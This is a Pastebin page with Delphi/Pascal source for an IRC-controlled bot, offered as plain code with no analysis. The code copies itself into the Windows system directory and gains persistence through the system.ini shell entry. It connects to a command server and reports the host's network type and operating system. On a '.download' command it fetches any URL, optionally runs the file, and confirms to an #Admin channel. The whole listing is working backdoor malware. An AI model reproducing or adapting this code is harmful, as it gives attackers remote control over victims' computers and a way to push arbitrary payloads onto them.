Advertisement
FlyFar

Unit1.pas

Jun 7th, 2023
1,311
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 9.57 KB | Cybersecurity | 1 0
  1.    unit Unit1;
  2.  
  3.    interface
  4.  
  5.    Uses
  6.      Windows, Winsock, WinInet, ShellApi;
  7.  
  8.    Var
  9.      Params        :Array[0..500]Of String;
  10.      Procedure Install(Filename, Mutex       :String);
  11.      Procedure StartBot(IP:String; Port:Integer);
  12.      function URLDownloadToFile(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
  13.  
  14.    implementation
  15.  
  16.    //----------- START OF USELESS FUNCTIONS
  17.  
  18.    Procedure ExecuteFile(F: String; Show:Boolean);
  19.    Begin
  20.      ShellExecute(0,'open',pChar(F),0,0,Integer(Show));
  21.    End;
  22.  
  23.    Function SysDir: String;
  24.    Var
  25.      sD    :Array[0..256] Of Char;
  26.    Begin
  27.      GetSystemDirectory(@sD, SizeOf(sD));
  28.      Result := String(sD)+'\';
  29.    End;
  30.  
  31.    Procedure Install(Filename, Mutex       :String);
  32.    Begin
  33.      CopyFile(pChar(Paramstr(0)), pChar(SysDir+Filename), False);
  34.      If CreateMutex(NIL, FALSE, pChar(Mutex)) = ERROR_ALREADY_EXISTS Then ExitProcess(0);
  35.      WritePrivateProfileString('boot','shell',pChar('Explorer.exe '+Filename),'system.ini');
  36.    End;
  37.  
  38.    function Trim(const S: string): string;
  39.    var
  40.     I, L: Integer;
  41.    begin
  42.     L := Length(S);
  43.     I := 1;
  44.     while (I <= L) and (S[I] <= ' ') do Inc(I);
  45.     if I > L then Result := '' else
  46.      begin
  47.       while S[L] <= ' ' do Dec(L);
  48.       Result := Copy(S, I, L - I + 1);
  49.      end;
  50.    end;
  51.  
  52.    Function IntToStr(X: integer): string;
  53.    var
  54.     S: string;
  55.    begin
  56.     Str(X, S);
  57.     Result := S;
  58.    end;
  59.  
  60.    function StrToInt(S: string): integer;
  61.    var
  62.     V, Code: integer;
  63.    begin
  64.     Val(S, V, Code);
  65.     Result := V;
  66.    end;
  67.  
  68.    function IPstr(HostName:String) : String;
  69.    LABEL Abort;
  70.    TYPE
  71.      TAPInAddr = ARRAY[0..100] OF PInAddr;
  72.      PAPInAddr =^TAPInAddr;
  73.    VAR
  74.      WSAData    : TWSAData;
  75.      HostEntPtr : PHostEnt;
  76.      pptr       : PAPInAddr;
  77.      I          : Integer;
  78.    BEGIN
  79.      Result:='';
  80.      WSAStartUp($101,WSAData);
  81.      TRY
  82.        HostEntPtr:=GetHostByName(PChar(HostName));
  83.        IF HostEntPtr=NIL THEN GOTO Abort;
  84.        pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
  85.        I:=0;
  86.        WHILE pptr^[I]<>NIL DO BEGIN
  87.          IF HostName='' THEN BEGIN
  88.            IF(Pos('168',inet_ntoa(pptr^[I]^))<>1)AND(Pos('192',inet_ntoa(pptr^[I]^))<>1) THEN BEGIN
  89.              Result:=inet_ntoa(pptr^[I]^);
  90.              GOTO Abort;
  91.            END;
  92.          END ELSE
  93.          RESULT:=(inet_ntoa(pptr^[I]^));
  94.          Inc(I);
  95.        END;
  96.        Abort:
  97.      EXCEPT
  98.      END;
  99.      WSACleanUp();
  100.    END;
  101.  
  102.    function LowerCase(const S: string): string;
  103.    var
  104.      Ch: Char;
  105.      L: Integer;
  106.      Source, Dest: PChar;
  107.    begin
  108.      L := Length(S);
  109.      SetLength(Result, L);
  110.      Source := Pointer(S);
  111.      Dest := Pointer(Result);
  112.      while L <> 0 do
  113.      begin
  114.        Ch := Source^;
  115.        if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
  116.        Dest^ := Ch;
  117.        Inc(Source);
  118.        Inc(Dest);
  119.        Dec(L);
  120.      end;
  121.    end;
  122.  
  123.    Function iGetNick(Param:String):String;
  124.    Begin
  125.     Result := Copy(Param, 2, Pos('!', Param)-2);
  126.    End;
  127.  
  128.    Function iGetIdent(Param:String):String;
  129.    Begin
  130.     Result := Copy(Param, Pos('!', Param)+1, Pos('@', Param)-2);
  131.    End;
  132.  
  133.    Function iGetHost(Param:String):String;
  134.    Begin
  135.     Result := Copy(Param, Pos('@', Param)+1, Pos(' ', Param)-2);
  136.    End;
  137.  
  138.    Function iGetFullHost(Param:String):String;
  139.    Begin
  140.     Result := Copy(Param, Pos('!', Param)+1, Pos(' ', Param)-2);
  141.    End;
  142.  
  143.    Function iGetChannel(Param:String):String;
  144.    Begin
  145.     Result := Copy(Param, Pos('PRIVMSG', Param)+8, Length(Param));
  146.     Result := Copy(Result, 1, Pos(':', result)-2);
  147.    End;
  148.  
  149.    Function iGetMessage(Param:String):String;
  150.    Begin
  151.     Result := Copy(Param, Pos('PRIVMSG', Param)+8, Length(Param));
  152.     Result := Copy(Result, Pos(':', result)+1, Length(Result));
  153.     If Copy(Result, Length(Result)-1, 2) = #13#10 Then
  154.       Result := Copy(Result, 1, Length(Result)-2);
  155.    End;
  156.  
  157.    Function GetNet:String;
  158.    Var
  159.     S:Dword;
  160.    Begin
  161.     S := INTERNET_CONNECTION_LAN;
  162.     If InternetGetConnectedState(@S ,0) Then
  163.      If ((S) And (INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN) Then
  164.       Result := 'LAN';
  165.     S := INTERNET_CONNECTION_MODEM;
  166.     If InternetGetConnectedState(@S ,0) Then
  167.      If ((S) And (INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM) Then
  168.       Result := 'Dial-up';
  169.    End;
  170.  
  171.    function GetOS: string;
  172.    const
  173.      cOsUnknown  = 'woot?';
  174.      cOsWin95    = 'Win95';
  175.      cOsWin98    = 'Win98';
  176.      cOsWin98SE  = 'W98SE';
  177.      cOsWinME    = 'WinME';
  178.      cOsWinNT    = 'WinNT';
  179.      cOsWin2000  = 'Win2k';
  180.      cOsXP       = 'WinXP';
  181.    var
  182.      osVerInfo: TOSVersionInfo;
  183.      majorVer, minorVer: Integer;
  184.    begin
  185.      Result := cOsUnknown;
  186.      { set operating system type flag }
  187.      osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  188.      if GetVersionEx(osVerInfo) then
  189.      begin
  190.        majorVer := osVerInfo.dwMajorVersion;
  191.        minorVer := osVerInfo.dwMinorVersion;
  192.        case osVerInfo.dwPlatformId of
  193.          VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
  194.            begin
  195.              if majorVer <= 4 then
  196.                Result := cOsWinNT
  197.              else if (majorVer = 5) and (minorVer = 0) then
  198.                Result := cOsWin2000
  199.              else if (majorVer = 5) and (minorVer = 1) then
  200.                Result := cOsXP
  201.              else
  202.                Result := cOsUnknown;
  203.            end;
  204.          VER_PLATFORM_WIN32_WINDOWS:  { Windows 9x/ME }
  205.            begin
  206.              if (majorVer = 4) and (minorVer = 0) then
  207.                Result := cOsWin95
  208.              else if (majorVer = 4) and (minorVer = 10) then
  209.              begin
  210.                if osVerInfo.szCSDVersion[1] = 'A' then
  211.                  Result := cOsWin98SE
  212.                else
  213.                  Result := cOsWin98;
  214.              end
  215.              else if (majorVer = 4) and (minorVer = 90) then
  216.                Result := cOsWinME
  217.              else
  218.                Result := cOsUnknown;
  219.            end;
  220.          else
  221.            Result := cOsUnknown;
  222.        end;
  223.      end
  224.      else
  225.        Result := cOsUnknown;
  226.    end;
  227.  
  228.    Function RandomNick:String;
  229.    Var
  230.      I: Integer;
  231.    Begin
  232.      Randomize;
  233.      Result := '';
  234.      For I:=0 To 20 Do
  235.        Result := Result + Chr( Random(26)+97 );
  236.    End;
  237.  
  238.    Procedure GetParams(S: String);
  239.    Var
  240.      Tmp         :String;
  241.      I           :Integer;
  242.    Begin
  243.      S := S + ' ';
  244.      I := 0;
  245.  
  246.      While Pos(' ', S) > 0 Do
  247.      Begin
  248.        If I = 10 Then Break;
  249.        Tmp := Copy(S, 1, Pos(' ', S)-1);
  250.        S   := Copy(S, Pos(' ', S)+1, Length(S));
  251.        If Tmp <> '' Then
  252.        Begin
  253.          Params[i] := Tmp;
  254.          Inc(I);
  255.        End;
  256.      End;
  257.    End;
  258.  
  259.    //----------- END OF USELESS FUNCTIONS
  260.  
  261.    Procedure ReadSock(Sock: TSocket);
  262.    Var
  263.      tmpRecv  :Array[0..26000] Of Char;
  264.      tmpData  :String;
  265.    Label
  266.      Abort;
  267.    Begin
  268.  
  269.      tmpData := 'USER '+RandomNick+' '+RandomNick+'@mail.com '+RandomNick+' '+RandomNick+#13#10;
  270.      tmpData := tmpData + 'NICK '+RandomNick+#13#10;
  271.      Send(Sock, tmpData[1], Length(tmpData), 0);
  272.      Sleep(200);
  273.      tmpData := 'CONNECTION '+getNet+#13#10;
  274.      Send(Sock, tmpData[1], Length(tmpData), 0);
  275.      Sleep(200);
  276.      tmpData := 'OSTYPE '+GetOS+#13#10;
  277.      Send(Sock, tmpData[1], Length(tmpData), 0);
  278.      Sleep(200);
  279.  
  280.      While Recv(Sock, tmpRecv, SizeOf(tmpRecv), 0) > 0 Do
  281.      Begin
  282.  
  283.        ZeroMemory(@tmpData, SizeOf(tmpData));
  284.        tmpData := tmpRecv;
  285.        ZeroMemory(@tmpRecv, SizeOf(tmpRecv));
  286.  
  287.        GetParams(iGetMessage(tmpData));
  288.  
  289.        If LowerCase(Params[0]) = '.exit' Then
  290.          ExitProcess(0);
  291.        If LowerCase(Params[0]) = '.restart' Then
  292.        Begin
  293.          If Params[1] = '' Then Params[1] := '60';
  294.          CloseSocket(Sock);
  295.          Sleep(1000*StrToInt(Params[1]));
  296.  
  297.        End;
  298.        If LowerCase(Params[0]) = '.download' Then
  299.        Begin
  300.          If Params[1] = '' Then Goto Abort;
  301.          If Params[2] = '' Then Goto Abort;
  302.          If Params[3] = '' Then Goto Abort;
  303.  
  304.          tmpData := 'PRIVMSG #Admin :Download '+Params[1]+#13#10;
  305.          Send(Sock, tmpData[1], Length(tmpData), 0);
  306.          Sleep(200);
  307.  
  308.          URLDownloadToFile(0, pChar(Params[1]), pChar(Params[2]), 0, 0);
  309.  
  310.          tmpData := 'PRIVMSG #Admin :Downloaded '+Params[1]+#13#10;
  311.          Send(Sock, tmpData[1], Length(tmpData), 0);
  312.          Sleep(200);
  313.  
  314.          If Params[3] = '1' Then
  315.          Begin
  316.            If Params[4] = '' Then Params[4] := '1';
  317.            ExeCuteFile(Params[2], Boolean(StrToInt(Params[4])));
  318.            tmpData := 'PRIVMSG #Admin :Executed '+Params[2]+#13#10;
  319.            Send(Sock, tmpData[1], Length(tmpData), 0);
  320.            Sleep(200);
  321.          End;
  322.  
  323.          If Params[5] = 'exit' Then ExitProcess(0);
  324.          If Params[5] = 'reboot' Then Begin
  325.            CloseSocket(Sock);
  326.            Sleep(1000*60);
  327.          End;
  328.        End;
  329.  
  330.    Abort:
  331.      End;
  332.  
  333.    End;
  334.  
  335.    Procedure StartBot(IP:String; Port:Integer);
  336.    Var
  337.      Sock: TSocket;
  338.      SockA: TSockAddrIn;
  339.      SockWSA: TWSAData;
  340.    Begin
  341.  
  342.      IP := IPStr(IP);
  343.      Repeat
  344.        WSAStartUp(MakeWord(2,1),SockWSA);
  345.        Sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  346.        SockA.sin_family := AF_INET;
  347.        SockA.sin_port := hTons(Port);
  348.        SockA.sin_addr.S_addr := Inet_Addr(pChar(IP));
  349.        If Connect(Sock, SockA, SizeOf(SockA)) > -1 Then
  350.        Begin
  351.          ReadSock(Sock);
  352.        End;
  353.        WSACleanUp();
  354.      Until 1=2;
  355.  
  356.    End;
  357.  
  358.    end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement